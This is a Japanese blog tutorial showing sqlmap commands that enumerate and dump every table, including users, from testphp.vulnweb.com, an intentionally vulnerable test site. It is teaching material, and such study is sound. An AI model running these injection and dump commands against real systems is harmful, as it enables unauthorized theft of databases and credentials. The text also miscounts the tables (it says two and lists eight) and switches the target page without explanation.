Shikata Ga Nai

Private? There is no such things.

sqlmapでデータベースの全情報を取得してみた

Hello there, ('ω')ノ

 

先日のセミナーで実施したSQLインジェクションの応用編を。

下記のサイトへアクセスするとパラメータが存在していて。

 http://testphp.vulnweb.com/listproducts.php?cat=1

 

f:id:ThisIsOne:20211229163524p:plain

 

ペイロードを追加してみると、データベースのエラーが。

つまり、SQLが存在していることを意味しているので。

 http://testphp.vulnweb.com/listproducts.php?cat=1'

 

f:id:ThisIsOne:20211229163613p:plain

 

sqlmapを起動してデータベース名を探すことに。

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch

 

f:id:ThisIsOne:20211229163818p:plain

 

下記のデータベースが検出されたようで。

 available databases [2]:
 [*] acuart
 [*] information_schema

 

f:id:ThisIsOne:20211229163906p:plain

 

次に検出されたデータベースのテーブルを。

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch

 

結果は、以下のとおり2つのテーブルが。

 Database: acuart
 [8 tables]

 artists
 carts
 categ
 featured
 guestbook
 pictures
 products
 users

f:id:ThisIsOne:20211229164254p:plain

 

次に検出されたテーブルのもつカラムを探索することに。

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch

 

f:id:ThisIsOne:20211229164432p:plain

 

usersには8つのカラムがあって。

 Database: acuart
 Table: users
 [8 columns]

 

f:id:ThisIsOne:20211229164532p:plain

 

他のテーブルはというと。

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T artists --columns --batch

 

f:id:ThisIsOne:20211229165428p:plain

 

そして、usersのテーブルのデータをダンプすることに。
 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

 

f:id:ThisIsOne:20211229164659p:plain

 

f:id:ThisIsOne:20211229164738p:plain

 

別途、categテーブルについても。

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T categ --dump --batch

 

f:id:ThisIsOne:20211229170012p:plain

 

最後は、強力なダンプを。

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --dump-all --batch

 

f:id:ThisIsOne:20211229164953p:plain

 

これで、手っ取り早くデータベースの全情報を取得できて。

 

f:id:ThisIsOne:20211229165215p:plain

 

Best regards, (^^ゞ